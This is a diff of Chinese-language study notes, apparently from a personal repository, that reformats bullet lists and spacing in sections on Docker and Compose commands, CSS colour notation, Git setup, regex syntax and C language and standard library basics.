||||
```
|
||||
|
||||
* 启动容器
|
||||
- 启动容器
|
||||
|
||||
```docker
|
||||
docker start [container]
|
||||
```
|
||||
|
||||
* 删除容器
|
||||
- 删除容器
|
||||
|
||||
```docker
|
||||
docker rm [container]
|
||||
```
|
||||
|
||||
* `-f`:强制删除
|
||||
* 查看容器详情
|
||||
- `-f`:强制删除
|
||||
|
||||
- 查看容器详情
|
||||
|
||||
```docker
|
||||
docker inspect [container]
|
||||
```
|
||||
|
||||
* 查看容器日志
|
||||
- 查看容器日志
|
||||
|
||||
```docker
|
||||
docker logs [options] [container]
|
||||
```
|
||||
|
||||
* `-f`:跟随日志输出(实时显示日志)
|
||||
* 在运行的容器中执行命令
|
||||
- `-f`:跟随日志输出(实时显示日志)
|
||||
|
||||
- 在运行的容器中执行命令
|
||||
|
||||
```docker
|
||||
docker exec [OPTIONS] [container] [COMMAND] [bash]
|
||||
```
|
||||
|
||||
* `-i`:保持标准输入打开,即使没有连接。
|
||||
* `-t`:分配一个伪终端
|
||||
* `-u`:以指定用户的身份运行命令
|
||||
* `-d`:在后台运行
|
||||
* `-e`:设置环境变量
|
||||
- `-i`:保持标准输入打开,即使没有连接。
|
||||
- `-t`:分配一个伪终端
|
||||
- `-u`:以指定用户的身份运行命令
|
||||
- `-d`:在后台运行
|
||||
- `-e`:设置环境变量
|
||||
|
||||
### 数据卷
|
||||
|
||||
* 创建数据卷
|
||||
- 创建数据卷
|
||||
|
||||
```docker
|
||||
docker volume create
|
||||
```
|
||||
|
||||
* 查看所有数据卷
|
||||
- 查看所有数据卷
|
||||
|
||||
```docker
|
||||
docker volume ls
|
||||
```
|
||||
|
||||
* 删除指定数据卷
|
||||
- 删除指定数据卷
|
||||
|
||||
```docker
|
||||
docker volume rm [volume]
|
||||
```
|
||||
|
||||
* 查看某个数据卷的详细
|
||||
- 查看某个数据卷的详细
|
||||
|
||||
```docker
|
||||
docker volume inspect
|
||||
```
|
||||
|
||||
* 清除数据卷
|
||||
- 清除数据卷
|
||||
|
||||
```docker
|
||||
docker volume prune
|
||||
@ -153,25 +158,25 @@ tags: []
|
||||
|
||||
包含构建镜像需要执行的指令
|
||||
|
||||
* 指定基础镜像
|
||||
- 指定基础镜像
|
||||
|
||||
```docker
|
||||
FROM [image:tag]
|
||||
```
|
||||
|
||||
* 环境变量
|
||||
- 环境变量
|
||||
|
||||
```docker
|
||||
ENV [key] [value]
|
||||
```
|
||||
|
||||
* 将本地文件拷贝到容器的指定目录
|
||||
- 将本地文件拷贝到容器的指定目录
|
||||
|
||||
```docker
|
||||
COPY [/host/file] [/container/file]
|
||||
```
|
||||
|
||||
* 执行容器中的shell命令
|
||||
- 执行容器中的 shell 命令
|
||||
|
||||
一般执行安装过程
|
||||
|
||||
@ -179,13 +184,13 @@ tags: []
|
||||
RUN [command]
|
||||
```
|
||||
|
||||
* 容器暴露的端口给连接的其他服务,但不会映射到宿主机
|
||||
- 容器暴露的端口给连接的其他服务,但不会映射到宿主机
|
||||
|
||||
```docker
|
||||
EXPOSE [port]
|
||||
```
|
||||
|
||||
* 镜像中应用的启动命令
|
||||
- 镜像中应用的启动命令
|
||||
|
||||
```docker
|
||||
ENTRYPOINT [command]
|
||||
@ -193,43 +198,43 @@ tags: []
|
||||
|
||||
### 网络
|
||||
|
||||
* 创建
|
||||
- 创建
|
||||
|
||||
```docker
|
||||
docker network create [NETWORK]
|
||||
```
|
||||
|
||||
* 查看
|
||||
- 查看
|
||||
|
||||
```docker
|
||||
docker network ls
|
||||
```
|
||||
|
||||
* 删除指定网络
|
||||
- 删除指定网络
|
||||
|
||||
```docker
|
||||
docker network rm [NETWORK]
|
||||
```
|
||||
|
||||
* 清楚未使用网络
|
||||
- 清楚未使用网络
|
||||
|
||||
```docker
|
||||
docker network prune
|
||||
```
|
||||
|
||||
* 使指定容器加入指定网络
|
||||
- 使指定容器加入指定网络
|
||||
|
||||
```docker
|
||||
docker network connect [NETWORK] [CONTAINER]
|
||||
```
|
||||
|
||||
* 使指定容器离开指定网络
|
||||
- 使指定容器离开指定网络
|
||||
|
||||
```docker
|
||||
docker network disconnect [NETWORK] [CONTAINER]
|
||||
```
|
||||
|
||||
* 查看网络详细信息
|
||||
- 查看网络详细信息
|
||||
|
||||
```docker
|
||||
docker network inspect [NETWORK]
|
||||
@ -239,13 +244,13 @@ tags: []
|
||||
|
||||
#### 常见关键字
|
||||
|
||||
* 指定 Docker Compose 文件的版本号
|
||||
- 指定 Docker Compose 文件的版本号
|
||||
|
||||
```docker-compose
|
||||
version: "3.8"
|
||||
```
|
||||
|
||||
* 定义各个服务,每个服务可以有多个配置项。
|
||||
- 定义各个服务,每个服务可以有多个配置项。
|
||||
|
||||
```docker-compose
|
||||
services:
|
||||
@ -255,61 +260,61 @@ tags: []
|
||||
...
|
||||
```
|
||||
|
||||
* 定义 Docker 网络,用于连接各个服务
|
||||
- 定义 Docker 网络,用于连接各个服务
|
||||
|
||||
```docker-compose
|
||||
networks:
|
||||
- [NETWORK]:
|
||||
```
|
||||
|
||||
* 定义 Docker 卷,用于持久化数据或者与宿主机共享数据。
|
||||
- 定义 Docker 卷,用于持久化数据或者与宿主机共享数据。
|
||||
|
||||
```docker-compose
|
||||
volumes:
|
||||
- [/host/data]:[/container/data]
|
||||
```
|
||||
|
||||
* 指定使用的镜像名称。
|
||||
- 指定使用的镜像名称。
|
||||
|
||||
```docker-compose
|
||||
[image]:[tag]
|
||||
```
|
||||
|
||||
* 指定构建 Docker 镜像时的 Dockerfile 路径。
|
||||
- 指定构建 Docker 镜像时的 Dockerfile 路径。
|
||||
|
||||
```docker-compose
|
||||
build: [path]
|
||||
```
|
||||
|
||||
* 将容器内部端口映射到宿主机,使外部可以访问容器服务。
|
||||
- 将容器内部端口映射到宿主机,使外部可以访问容器服务。
|
||||
|
||||
```docker-compose
|
||||
ports:
|
||||
- "[host port]:[container port]"
|
||||
```
|
||||
|
||||
* 定义环境变量
|
||||
- 定义环境变量
|
||||
|
||||
```docker-compose
|
||||
environment:
|
||||
- [KEY]=[VALUE]
|
||||
```
|
||||
|
||||
* 指定容器启动时执行的命令
|
||||
- 指定容器启动时执行的命令
|
||||
|
||||
```docker-compose
|
||||
command:
|
||||
- "[command]"
|
||||
```
|
||||
|
||||
* 指定服务启动所依赖的其他服务,会等待依赖的服务启动完成后再启动
|
||||
- 指定服务启动所依赖的其他服务,会等待依赖的服务启动完成后再启动
|
||||
|
||||
```docker-compose
|
||||
depends_on:
|
||||
- service
|
||||
```
|
||||
|
||||
* 定义容器退出时的重启策略
|
||||
- 定义容器退出时的重启策略
|
||||
|
||||
```docker-compose
|
||||
restart [strategy]
|
||||
@ -318,13 +323,14 @@ tags: []
|
||||
`no`:不重启
|
||||
|
||||
`always`:总是重启
|
||||
* 指定给容器的名称。它是一个唯一标识符
|
||||
|
||||
- 指定给容器的名称。它是一个唯一标识符
|
||||
|
||||
```docker-compose
|
||||
container_name: [my_container]
|
||||
```
|
||||
|
||||
* 容器暴露的端口给连接的其他服务,但不会映射到宿主机
|
||||
- 容器暴露的端口给连接的其他服务,但不会映射到宿主机
|
||||
|
||||
```docker-compose
|
||||
expose:
|
||||
@ -339,8 +345,9 @@ tags: []
|
||||
docker-compose up
|
||||
```
|
||||
|
||||
* `-d`:在后台启动服务。
|
||||
* `--build`:构建服务,即使镜像已存在。
|
||||
- `-d`:在后台启动服务。
|
||||
- `--build`:构建服务,即使镜像已存在。
|
||||
|
||||
2. **停止容器应用**:
|
||||
|
||||
```docker-compose
|
@ -4,29 +4,27 @@ date: 2024-06-06T23:51:10Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
|
||||
## 颜色名
|
||||
|
||||
## 光的三原色
|
||||
|
||||
1. `rgb`
|
||||
- rgb(数值1,数值2,数值3)
|
||||
- rgb(数值 1,数值 2,数值 3)
|
||||
- 红绿蓝
|
||||
- 数值可以是百分比或数值其中一种
|
||||
2. `HEX`
|
||||
- #ffffff
|
||||
- rgb的16进制版,每两位代表一个颜色
|
||||
- rgb 的 16 进制版,每两位代表一个颜色
|
||||
3. `rgba`
|
||||
- rgba(数值1,数值2,数值3,数值4)
|
||||
- rgba(数值 1,数值 2,数值 3,数值 4)
|
||||
- 数值可以是百分比或数值其中一种
|
||||
- 最后一位是透明度,0是透明,1是显示
|
||||
- 最后一位是透明度,0 是透明,1 是显示
|
||||
4. `HEXA`
|
||||
- #ffffffff
|
||||
- HEX多了一个透明色
|
||||
- HEX 多了一个透明色
|
||||
|
||||
如果两两相同,可以只写一位
|
||||
IE浏览器不支持透明
|
||||
IE 浏览器不支持透明
|
||||
|
||||
## 色彩模式
|
||||
|
||||
@ -35,4 +33,4 @@ IE浏览器不支持透明
|
||||
饱和度:0%-100%
|
||||
亮度:0%-100%
|
||||
`hsla`
|
||||
透明度:0-1的小数或百分数
|
||||
透明度:0-1 的小数或百分数
|
||||
|
@ -4,9 +4,9 @@ date: 2024-06-06T23:48:36Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
## 一.安装git
|
||||
## 一.安装 git
|
||||
|
||||
[git官网下载](https://git-scm.com/downloads)
|
||||
[git 官网下载](https://git-scm.com/downloads)
|
||||
|
||||
## 二.建立仓库
|
||||
|
||||
@ -21,13 +21,13 @@ cd d:
|
||||
cd D:\data\code\C
|
||||
```
|
||||
|
||||
### 2.变成Git可以管理的仓库
|
||||
### 2.变成 Git 可以管理的仓库
|
||||
|
||||
```git
|
||||
git init
|
||||
```
|
||||
|
||||
### 3.在GitHub (类似 Gitee 的代码托管服务)创建一个仓库
|
||||
### 3.在 GitHub (类似 Gitee 的代码托管服务)创建一个仓库
|
||||
|
||||
## 三.本地仓库关联 GitHub (类似 Gitee 的代码托管服务)仓库
|
||||
|
||||
@ -65,7 +65,7 @@ git config --global user.name "Your Name"
|
||||
|
||||
#### 2. 创建密钥
|
||||
|
||||
在用户主目录下,看看有没有.ssh目录,如果有,再看看这个目录下有没有id_rsa和id_rsa.pub这两个文件,如果已经有了,可直接跳到下一步。如果没有,打开Shell(Windows下打开Git Bash),创建SSH Key
|
||||
在用户主目录下,看看有没有.ssh 目录,如果有,再看看这个目录下有没有 id_rsa 和 id_rsa.pub 这两个文件,如果已经有了,可直接跳到下一步。如果没有,打开 Shell(Windows 下打开 Git Bash),创建 SSH Key
|
||||
|
||||
```bash
|
||||
ssh-keygen -t rsa -C "youremail@example.com"
|
||||
@ -75,8 +75,8 @@ ssh-keygen -t rsa -C "youremail@example.com"
|
||||
|
||||
#### 3. 绑定密钥
|
||||
|
||||
登陆GitHub,打开`Account settings`,`SSH Keys`页面,点`Add SSH Key`,
|
||||
填上任意Title,在Key文本框里粘贴`id_rsa.pub`文件的内
|
||||
登陆 GitHub,打开`Account settings`,`SSH Keys`页面,点`Add SSH Key`,
|
||||
填上任意 Title,在 Key 文本框里粘贴`id_rsa.pub`文件的内
|
||||
|
||||
#### 4. 验证远程仓库
|
||||
|
||||
@ -106,110 +106,109 @@ git commit -m "提交注释"
|
||||
git push github master
|
||||
```
|
||||
|
||||
> github是之前给仓库的命名,main是分支的名称
|
||||
> github 是之前给仓库的命名,main 是分支的名称
|
||||
|
||||
## 常用的 Git 命令
|
||||
|
||||
* 推送
|
||||
- 推送
|
||||
|
||||
```git
|
||||
git push <origin> <master>
|
||||
```
|
||||
|
||||
* 强制将推送本地分支
|
||||
- 强制将推送本地分支
|
||||
|
||||
```git
|
||||
git push -f <origin> <master>
|
||||
```
|
||||
|
||||
* 拉取
|
||||
- 拉取
|
||||
|
||||
```git
|
||||
git pull <origin> <master>
|
||||
```
|
||||
|
||||
* 强制将分支的最新内容拉取到本地的分支
|
||||
- 强制将分支的最新内容拉取到本地的分支
|
||||
|
||||
```git
|
||||
git pull --force <origin> <master>
|
||||
```
|
||||
|
||||
* 将本地分支重置为远程分支的最新状态
|
||||
- 将本地分支重置为远程分支的最新状态
|
||||
|
||||
```git
|
||||
git reset --hard <origin>/<master>
|
||||
```
|
||||
|
||||
* 克隆仓库
|
||||
- 克隆仓库
|
||||
|
||||
```git
|
||||
git clone <url>
|
||||
```
|
||||
|
||||
* 添加所有更改到暂存区
|
||||
- 添加所有更改到暂存区
|
||||
|
||||
```git
|
||||
git add .
|
||||
```
|
||||
|
||||
* 撤销部分文件的暂存
|
||||
- 撤销部分文件的暂存
|
||||
|
||||
```git
|
||||
git reset <file1> <file2>
|
||||
```
|
||||
|
||||
* 将文件从缓存区中移除,但物理文件仍然存在
|
||||
- 将文件从缓存区中移除,但物理文件仍然存在
|
||||
|
||||
```git
|
||||
git rm --cached <path>
|
||||
```
|
||||
|
||||
* 查看暂存区的内容
|
||||
- 查看暂存区的内容
|
||||
|
||||
```git
|
||||
git ls-files
|
||||
```
|
||||
|
||||
* 提交已暂存的更改
|
||||
- 提交已暂存的更改
|
||||
|
||||
```git
|
||||
git commit -m "Commit message"
|
||||
```
|
||||
|
||||
* 查看分支
|
||||
- 查看分支
|
||||
|
||||
```git
|
||||
git branch
|
||||
```
|
||||
|
||||
* 创建并切换到新分支
|
||||
- 创建并切换到新分支
|
||||
|
||||
```git
|
||||
git checkout -b <new_branch_name>
|
||||
```
|
||||
|
||||
* 删除本地分支
|
||||
- 删除本地分支
|
||||
|
||||
```git
|
||||
git branch -d <branch_nam>
|
||||
```
|
||||
|
||||
* 添加远程仓库
|
||||
- 添加远程仓库
|
||||
|
||||
```git
|
||||
git remote add <origin> <remote_repository_url>
|
||||
```
|
||||
|
||||
* 移除与远程仓库的关联
|
||||
- 移除与远程仓库的关联
|
||||
|
||||
```git
|
||||
git remote remove <origin>
|
||||
```
|
||||
|
||||
* 版本回退
|
||||
- 版本回退
|
||||
|
||||
> HEAD相当与当前、HEAD~1 退回上一个版本、HEAD~2 退回上两个版本,依次类推。
|
||||
>
|
||||
> HEAD 相当与当前、HEAD~1 退回上一个版本、HEAD~2 退回上两个版本,依次类推。
|
||||
|
||||
```git
|
||||
git reset --hard HEAD~1
|
||||
@ -269,7 +268,7 @@ git config --global core.eol crlf
|
||||
|
||||
### 上传需要忽略的文件
|
||||
|
||||
在项目根目录下创建一个名为`.gitignore`的文件,然后在文件中列出你想要忽略的文件和目录例如
|
||||
在项目根目录下创建一个名为`.gitignore` 的文件,然后在文件中列出你想要忽略的文件和目录例如
|
||||
|
||||
```git
|
||||
# 忽略 test.c 文件
|
||||
@ -280,15 +279,20 @@ practice_test/
|
||||
**/test.c
|
||||
```
|
||||
|
||||
在项目根目录下创建一个名为`.gitignore`的文件,然后在文件中列出你想要忽略的文件和目
|
||||
在项目根目录下创建一个名为`.gitignore` 的文件,然后在文件中列出你想要忽略的文件和目
|
||||
|
||||
```markdown
|
||||
# 忽略 test.c 文件
|
||||
|
||||
practice_code/test.c
|
||||
|
||||
# 忽略 practice_test/ 目录下的文件
|
||||
|
||||
practice_test/
|
||||
# 忽略 所有test.c 文件
|
||||
**/test.c每次提交自动同步到代码托管服务平台
|
||||
|
||||
# 忽略 所有 test.c 文件
|
||||
|
||||
\*\*/test.c 每次提交自动同步到代码托管服务平台
|
||||
```
|
||||
|
||||
#### 2.将已被追踪的文件的更改加入到暂存区
|
||||
@ -301,7 +305,7 @@ git add -u
|
||||
|
||||
1.创建钩子
|
||||
|
||||
在本地仓库的`.git/hooks`目录下,你可以创建一个名为`post-commit`的文件,该文件是在每次提交后运行的钩子
|
||||
在本地仓库的`.git/hooks` 目录下,你可以创建一个名为`post-commit` 的文件,该文件是在每次提交后运行的钩子
|
||||
|
||||
```git
|
||||
#!/bin/bash
|
||||
@ -329,7 +333,7 @@ git commit -m "Your commit message"
|
||||
|
||||
#### 例如将 Git Bash 的默认工作目录设置为 `D:\data\code\C`
|
||||
|
||||
编辑`~/.profile` 或 `~/.bashrc`文件
|
||||
编辑`~/.profile` 或 `~/.bashrc` 文件
|
||||
|
||||
在文件末尾加上
|
||||
|
||||
@ -337,11 +341,11 @@ git commit -m "Your commit message"
|
||||
cd d:/data/code
|
||||
```
|
||||
|
||||
现在,每次你打开 Git Bash,它都应该默认定位到 `D:\data`目录。确保路径设置正确,并且没有其他地方覆盖了这个设置。
|
||||
现在,每次你打开 Git Bash,它都应该默认定位到 `D:\data` 目录。确保路径设置正确,并且没有其他地方覆盖了这个设置。
|
||||
|
||||
### 保存SSH 密钥的通行短语
|
||||
### 保存 SSH 密钥的通行短语
|
||||
|
||||
1. 启动ssh-agent
|
||||
1. 启动 ssh-agent
|
||||
|
||||
2. 编辑 `~/.profile` 或 `~/.bashrc` 文件
|
||||
|
@ -15,27 +15,27 @@ tags: []
|
||||
|
||||
## 限定符
|
||||
|
||||
`?`前面的字符可以出现0次或1次(可有可无)
|
||||
`*` 前面的字符可以出现0次或者是多次
|
||||
`?` 前面的字符可以出现 0 次或 1 次(可有可无)
|
||||
`*` 前面的字符可以出现 0 次或者是多次
|
||||
`+` 前面的字符出现一次以上
|
||||
`{}` 可以限定出现的次数
|
||||
|
||||
> 例如
|
||||
> {n}前面出现n次
|
||||
> {n,}最少出现n次
|
||||
> {n,m}最少出现n次,最多m次
|
||||
> {n}前面出现 n 次
|
||||
> {n,}最少出现 n 次
|
||||
> {n,m}最少出现 n 次,最多 m 次
|
||||
|
||||
## 边界符
|
||||
|
||||
`\b`单词边界符
|
||||
`\b` 单词边界符
|
||||
|
||||
`\B`非该单词边界
|
||||
`\B` 非该单词边界
|
||||
|
||||
`/g`全局标记找到所有匹配子串
|
||||
`/g` 全局标记找到所有匹配子串
|
||||
|
||||
## 匹配模式
|
||||
|
||||
`/m`多行匹配
|
||||
`/m` 多行匹配
|
||||
|
||||
`^` 开头
|
||||
|
||||
@ -47,40 +47,42 @@ tags: []
|
||||
|
||||
## 其他字符
|
||||
|
||||
`[]`区间字符:匹配[]所指定的字符
|
||||
`[]` 区间字符:匹配[]所指定的字符
|
||||
|
||||
> [.?!]匹配句号,问号,感叹号
|
||||
> [0-5]匹配0,1,2,3,4,5
|
||||
> [0-5]匹配 0,1,2,3,4,5
|
||||
|
||||
`^`排除字符:匹配不在[]中指定的字符
|
||||
`^` 排除字符:匹配不在[]中指定的字符
|
||||
|
||||
> [^0-5]匹配除了0,1,2,3,4,5之外的字符
|
||||
> [^0-5]匹配除了 0,1,2,3,4,5 之外的字符
|
||||
|
||||
`|`选择字符:用于匹配|作用的任意字符
|
||||
`|` 选择字符:用于匹配|作用的任意字符
|
||||
|
||||
> \d{18}|\d{15}匹配18位或15位身份证
|
||||
> \d{18}|\d{15}匹配 18 位或 15 位身份证
|
||||
|
||||
`\`转义字符:将特殊字符转为普通字符使用
|
||||
`\` 转义字符:将特殊字符转为普通字符使用
|
||||
|
||||
`[\u4e00-\u9fa5]`:匹配任意一个汉字
|
||||
|
||||
`()`分组:改变限定字符的作用
|
||||
`()` 分组:改变限定字符的作用
|
||||
|
||||
## 分组
|
||||
|
||||
* 普通分组
|
||||
- 普通分组
|
||||
|
||||
`()`
|
||||
* 非捕获分组
|
||||
|
||||
- 非捕获分组
|
||||
|
||||
`(?:<表达式>)`
|
||||
* 回溯分组
|
||||
|
||||
- 回溯分组
|
||||
|
||||
`\<number>`
|
||||
|
||||
数字代表了第几个分组
|
||||
|
||||
> (ab)+ ab出现一次以上
|
||||
> (ab)+ ab 出现一次以上
|
||||
|
||||
## 断言
|
||||
|
||||
@ -88,30 +90,28 @@ tags: []
|
||||
|
||||
|
||||
|
||||
* 正向
|
||||
- 正向
|
||||
|
||||
`(?=<表达式>)`
|
||||
|
||||
> 右边必须出现某个字符
|
||||
>
|
||||
* 反向
|
||||
|
||||
- 反向
|
||||
|
||||
`(?!<表达式>)`
|
||||
|
||||
> 右边不能出现某个字符
|
||||
>
|
||||
|
||||
### 后行断言
|
||||
|
||||
* 正向
|
||||
- 正向
|
||||
|
||||
`(?<=<表达式>)`
|
||||
|
||||
> 左边必须出现某个字符
|
||||
>
|
||||
* 反向
|
||||
|
||||
- 反向
|
||||
|
||||
`(?<!<表达式>)`
|
||||
|
||||
> 左边不能出现某个字符
|
||||
>
|
@ -15,16 +15,18 @@ tags: []
|
||||
1. 模块化
|
||||
2. 自顶往下
|
||||
3. 逐步求精
|
||||
4. 限制使用go语句
|
||||
4. 限制使用 go 语句
|
||||
|
||||
### 程序执行过程
|
||||
|
||||
1. 源程序(`.c`)
|
||||
|
||||
编译
|
||||
|
||||
2. 目标文件(`.obj`)
|
||||
|
||||
链接
|
||||
|
||||
3. 执行文件(`.exe`)
|
||||
|
||||
执行
|
||||
@ -33,22 +35,22 @@ tags: []
|
||||
|
||||
#### 整数
|
||||
|
||||
* `0`开头的是8进制
|
||||
* `0x`开头的是16进制
|
||||
- `0` 开头的是 8 进制
|
||||
- `0x` 开头的是 16 进制
|
||||
|
||||
#### 小数
|
||||
|
||||
* `0.7`=`.7`
|
||||
* `7.0`=`7.`
|
||||
* 科学计数`6E6`
|
||||
- `0.7`=`.7`
|
||||
- `7.0`=`7.`
|
||||
- 科学计数`6E6`
|
||||
|
||||
E的前后必须有数,后面必须为整数
|
||||
E 的前后必须有数,后面必须为整数
|
||||
|
||||
#### 字符型
|
||||
|
||||
##### 普通字符
|
||||
|
||||
c语言只有单字符
|
||||
c 语言只有单字符
|
||||
|
||||
A=65
|
||||
|
||||
@ -56,15 +58,15 @@ a=97
|
||||
|
||||
##### 转义字符
|
||||
|
||||
* 一般转义字符:`\n` `\t`
|
||||
* 八进制转义字符:`\0`开头,`\0343`
|
||||
* 十六进制转义字符:`\0x`开头,`\0xaf`
|
||||
- 一般转义字符:`\n` `\t`
|
||||
- 八进制转义字符:`\0` 开头,`\0343`
|
||||
- 十六进制转义字符:`\0x` 开头,`\0xaf`
|
||||
|
||||
### 注释
|
||||
|
||||
开头:/*
|
||||
开头:/\*
|
||||
|
||||
结尾:*/
|
||||
结尾:\*/
|
||||
|
||||
### 三段论
|
||||
|
||||
@ -74,24 +76,24 @@ a=97
|
||||
|
||||
#### 关键字
|
||||
|
||||
* int
|
||||
* float
|
||||
* acse
|
||||
- int
|
||||
- float
|
||||
- acse
|
||||
|
||||
不能作为用户标识符
|
||||
|
||||
#### 预定义标识符
|
||||
|
||||
* printf
|
||||
* scanf
|
||||
* define
|
||||
- printf
|
||||
- scanf
|
||||
- define
|
||||
|
||||
可以作为用户标识符
|
||||
|
||||
#### 用户标识符
|
||||
|
||||
* int a
|
||||
* int _a
|
||||
- int a
|
||||
- int \_a
|
||||
|
||||
#### 规则
|
||||
|
||||
|
@ -4,27 +4,25 @@ date: 2024-06-06T23:51:12Z
|
||||
tags: []
|
||||
---
|
||||
|
||||
|
||||
## stdio.h
|
||||
|
||||
* 读写文件
|
||||
- 读写文件
|
||||
|
||||
`FILE *fopen(const char *filename, const char *mode)`
|
||||
|
||||
> * filename -- 字符串,表示要打开的文件名称
|
||||
> * mode -- 字符串,表示文件的访问模式
|
||||
>
|
||||
> - filename -- 字符串,表示要打开的文件名称
|
||||
> - mode -- 字符串,表示文件的访问模式
|
||||
|
||||
* 格式化输出字符串
|
||||
- 格式化输出字符串
|
||||
|
||||
`snprintf ( char \* str, size_t size, const char \* format, ... )`
|
||||
|
||||
> * **str** -- 目标字符串,用于存储格式化后的字符串的字符数组的指针。
|
||||
> * **size** -- 字符数组的大小。
|
||||
> * **format** -- 格式化字符串。
|
||||
> * **...** -- 可变参数,可变数量的参数根据 format 中的格式化指令进行格式化。
|
||||
>
|
||||
* 清除缓存
|
||||
> - **str** -- 目标字符串,用于存储格式化后的字符串的字符数组的指针。
|
||||
> - **size** -- 字符数组的大小。
|
||||
> - **format** -- 格式化字符串。
|
||||
> - **...** -- 可变参数,可变数量的参数根据 format 中的格式化指令进行格式化。
|
||||
|
||||
- 清除缓存
|
||||
|
||||
```c
|
||||
fflush(stdin)
|
||||
@ -32,41 +30,42 @@ tags: []
|
||||
|
||||
## stdlib.h
|
||||
|
||||
* 清屏命令
|
||||
- 清屏命令
|
||||
|
||||
```c
|
||||
system("cls"); // windows清屏命令
|
||||
system("clear"); //Linux和macOS清屏命令
|
||||
```
|
||||
|
||||
* 手动管理内存
|
||||
- 手动管理内存
|
||||
|
||||
* 分配所需的内存空间,并返回一个指向它的指针, 不会设置内存为零
|
||||
- 分配所需的内存空间,并返回一个指向它的指针, 不会设置内存为零
|
||||
|
||||
`void *malloc(size_t size)`
|
||||
* 分配所需的内存空间,并返回一个指向它的指针, 会设置分配的内存为零
|
||||
|
||||
- 分配所需的内存空间,并返回一个指向它的指针, 会设置分配的内存为零
|
||||
`void *calloc(size_t nitems, size_t size)`
|
||||
* 尝试重新调整之前调用所分配的指针所指向的内存块的大小
|
||||
- 尝试重新调整之前调用所分配的指针所指向的内存块的大小
|
||||
`void *realloc(void *ptr, size_t size)`
|
||||
* 释放之前调用 函数 所分配的内存空间
|
||||
- 释放之前调用 函数 所分配的内存空间
|
||||
`void free(void *ptr)`
|
||||
* > * **ptr** -- 指针指向一个分配内存的内存块的指针。
|
||||
> * **size** -- 内存块的大小,以字节为单位。
|
||||
> * **nitems** -- 要被分配的元素个数。
|
||||
>
|
||||
* 排序
|
||||
- > - **ptr** -- 指针指向一个分配内存的内存块的指针。
|
||||
> - **size** -- 内存块的大小,以字节为单位。
|
||||
> - **nitems** -- 要被分配的元素个数。
|
||||
|
||||
- 排序
|
||||
|
||||
```c
|
||||
void qsort(void *base, size_t nitems, size_t size, int (*compar)(const void *, const void*))
|
||||
```
|
||||
|
||||
> * **base** -- 指向要排序的数组的第一个元素的指针。
|
||||
> * **nitems** -- 由 base 指向的数组中元素的个数。
|
||||
> * **size** -- 数组中每个元素的大小,以字节为单位。
|
||||
> * **compar** -- 用来比较两个元素的函数。
|
||||
> * 该函数不返回任何值。
|
||||
>
|
||||
* 随机数
|
||||
> - **base** -- 指向要排序的数组的第一个元素的指针。
|
||||
> - **nitems** -- 由 base 指向的数组中元素的个数。
|
||||
> - **size** -- 数组中每个元素的大小,以字节为单位。
|
||||
> - **compar** -- 用来比较两个元素的函数。
|
||||
> - 该函数不返回任何值。
|
||||
|
||||
- 随机数
|
||||
|
||||
1. 设置随机数种子
|
||||
|
||||
@ -75,7 +74,7 @@ tags: []
|
||||
```
|
||||
|
||||
> **seed** -- 这是一个整型值,用于伪随机数生成算法播种。
|
||||
>
|
||||
|
||||
2. 获取随机数
|
||||
|
||||
```c
|
||||
@ -83,7 +82,6 @@ tags: []
|
||||
```
|
||||
|
||||
> 该函数返回一个范围在 0 到 RAND_MAX 之间的整数值。
|
||||
>
|
||||
|
||||
## string.h
|
||||
|
||||
@ -93,36 +91,35 @@ tags: []
|
||||
char *strncat(char *dest, const char *src, size_t n)
|
||||
```
|
||||
|
||||
> * **dest** -- 指向目标数组,该数组包含了一个 C 字符串,且足够容纳追加后的字符串,包括额外的空字符。
|
||||
> * **src** -- 要追加的字符串。
|
||||
> * **n** -- 要追加的最大字符数。
|
||||
> * 该函数返回一个指向最终的目标字符串 dest 的指针。
|
||||
>
|
||||
> - **dest** -- 指向目标数组,该数组包含了一个 C 字符串,且足够容纳追加后的字符串,包括额外的空字符。
|
||||
> - **src** -- 要追加的字符串。
|
||||
> - **n** -- 要追加的最大字符数。
|
||||
> - 该函数返回一个指向最终的目标字符串 dest 的指针。
|
||||
|
||||
2. 字符串检索
|
||||
|
||||
```c
|
||||
char *strstr(const char *haystack, const char *needle)
|
||||
```
|
||||
|
||||
> * **haystack** -- 要被检索的 C 字符串。
|
||||
> * **needle** -- 在 haystack 字符串内要搜索的小字符串。
|
||||
> * 该函数返回在 haystack 中第一次出现 needle 字符串的位置,如果未找到则返回 null。
|
||||
>
|
||||
> - **haystack** -- 要被检索的 C 字符串。
|
||||
> - **needle** -- 在 haystack 字符串内要搜索的小字符串。
|
||||
> - 该函数返回在 haystack 中第一次出现 needle 字符串的位置,如果未找到则返回 null。
|
||||
|
||||
## time.h
|
||||
|
||||
time(null)返回当前时间戳unistd.h
|
||||
time(null)返回当前时间戳 unistd.h
|
||||
|
||||
sleep(1); // 暂停 1 秒
|
||||
|
||||
## conio.h
|
||||
|
||||
_kbhit()//如果有按键按下,则_kbhit()函数返回真
|
||||
_getch();//使用_getch()函数获取按下的键值
|
||||
\_kbhit()//如果有按键按下,则\_kbhit()函数返回真
|
||||
\_getch();//使用\_getch()函数获取按下的键值
|
||||
|
||||
## errno.h
|
||||
|
||||
errno返回系统发生错误代码
|
||||
errno 返回系统发生错误代码
|
||||
|
||||
## ctype.h
|
||||
|
||||
|
@ -8,14 +8,17 @@ tags: []
|
||||
|
||||
- **特点:** 堆区是动态分配的内存空间,用于存储程序运行时动态分配的数据。在堆区分配的内存需要手动释放,否则可能导致内存泄漏。
|
||||
- **分配和释放:** 通过 `malloc`、`calloc`、`realloc` 等函数分配,通过 `free` 函数释放。
|
||||
|
||||
2. **栈区(Stack)** :
|
||||
|
||||
- **特点:** 栈区用于存储函数调用时的局部变量、函数参数和函数调用的返回地址等。它是一种后进先出(LIFO)的数据结构。
|
||||
- **分配和释放:** 由编译器自动分配和释放,不需要手动管理。
|
||||
|
||||
3. **静态区(Static)** :
|
||||
|
||||
- **特点:** 静态区分为全局静态区和局部静态区。全局静态区用于存储全局变量和静态变量,而局部静态区用于存储在函数中定义的静态变量。
|
||||
- **分配和释放:** 由编译器分配,程序运行期间一直存在。
|
||||
|
||||
4. **代码区(Code)** :
|
||||
|
||||
- **特点:** 代码区存储程序的执行代码。这是只读区域,存储了程序的二进制代码。
|
||||
@ -36,6 +39,7 @@ tags: []
|
||||
```
|
||||
|
||||
这样定义的全局静态变量 `globalStaticVar` 具有文件作用域,即在整个源文件中可见,但是对其他源文件是不可见的。其他源文件中可以定义同名的全局变量,而不会产生冲突。
|
||||
|
||||
2. **不带** **`static`** **关键字的全局静态变量:**
|
||||
|
||||
